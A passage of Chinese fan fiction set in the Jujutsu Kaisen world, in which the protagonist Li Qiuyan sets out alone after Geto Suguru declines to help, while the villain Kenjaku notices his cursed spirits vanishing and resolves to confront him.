可恶的真人!明明是它先的,被揍服了也好、放弃挣扎也好、试图讨好也好……一切都是它先的!现在竟然要连这第一号奸臣的位置,都要拱手让人吗! 系统内心激愤,但出声的电子音倒很微弱:【……陛下,真的不再考虑一下吗?】 “不了。”栗秋焰感叹道:“果然,比起买莫名其妙的东西,我还是更喜欢零元购。” 说完他就拿起手机,试图像上次一样摇夏油杰过来当个保险。没过一会儿,夏油杰的消息就回了过来。 夏油杰:【抱歉,焰,高专给我和悟派了个非常重要的任务,关系到整个咒术界的那种。完成任务前,我估计都帮不上你的忙了。】 什么任务,都关系上整个咒术界了? 栗秋焰虽然疑惑,但听夏油杰的口气不像开玩笑,于是就回了个好过去。 “算了,就我自己也不是不行。”栗秋焰伸了个懒腰:“准备准备,这就过去吧。” / 另一边,黑衣人沉默地坐在桌前,环视了一圈桌旁围着的咒灵。 “……总感觉,人越来越少了啊。” 黑衣人看向桌边的陀艮。“漏瑚已经缺席好几次就算了,花御呢,怎么也不见了?” 面对一片茫然得宛如智障的回应,黑衣人叹了口气。 “让我想想,是从什么时候开始不对劲的……” 黑衣人思索半晌,接着反应了过来。 “……真人,是真人!” 黑衣人唰地站起来,黑色的兜帽顺势滑落,暴露出了他的面容。 那张脸平平无奇,唯一引人注目的,只有一处——他的头上,一道缝合线般的疤痕横贯了整个额部。 “漏瑚估计已经没了。花御也快了,这可有点麻烦……不,你们不用去,你们去,只是给栗秋焰送菜而已。” 羂索眯起眼睛,嘴边突然浮现出一丝古怪的笑意。 “我亲自去。顺便和他碰个面。”羂索微笑道:“我可是心向神往、久仰大名已久了啊……这位【神之手】。”